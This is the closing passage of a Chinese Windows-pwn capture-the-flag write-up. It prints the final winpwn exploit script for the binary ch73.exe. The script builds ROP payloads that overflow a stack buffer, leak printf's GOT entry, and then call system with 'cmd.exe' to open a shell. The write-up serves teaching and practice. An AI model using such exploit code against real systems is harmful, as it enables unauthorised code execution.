加载地址
最终完成利用
最终我们直接计算构造ROP即可
Final Exploit
from winpwn import *
import os
import traceback
import sys
context.log_level='debug'
# context.arch='amd64'
context.arch='i386'
# file_name=ELF('./file_name', checksec = False)
def get_sh():
if len(sys.argv) > 1 and sys.argv[1] == 'REMOTE' :
return remote(sys.argv[2],sys.argv[3])
else:
return process("./ch73.exe")
def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if int_mode :
return_address = int(sh.recvuntil(end_string).strip(end_string),16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].strip(end_string).ljust(8,'x00'))
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'x00'))
else:
return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'x00'))
if offset != None:
return_address = return_address + offset
if info != None:
print(info + str(hex(return_address)))
return return_address
# def get_flag(sh):
# sh.sendline('cat /flag')
# return sh.recvrepeat(0.3)
def get_gdb(sh,stop=False):
windbgx.attach(sh)
if stop :
raw_input()
def Attack():
try:
# Your Code here
payload = p32(0) * 100
open('./payload_0','w').write(payload)
payload = p32(0x76284660) * (0x2014 / 4) + p32(0xDEADBEEF)
payload += p32(0x00402974) # printf@plt
payload += p32(0x004016E3) # _manage_file
payload += p32(0x00406200) # printf@got
open('./payload_1','w').write(payload)
payload = p32(0x76284660) * (0x2014 / 4) + p32(0xDEADBEEF)
payload += p32(0x76213DC0) # system
payload += p32(0x004016E3) # _manage_file
payload += p32(0x761D47A4) # cmd.exe
open('./payload_2','w').write(payload)
except Exception as e:
traceback.print_exc()
sh.close()
return 'ERROR : Runtime error!'
if __name__ == "__main__":
os.system("")
Attack()
0x07 参考链接
【原】超酷的 PowerShell 美化指南 – Lulus
【原】Windows-pwn解题原理&利用手法详解 – 萝卜
发表评论
您还未登录,请先登录。
登录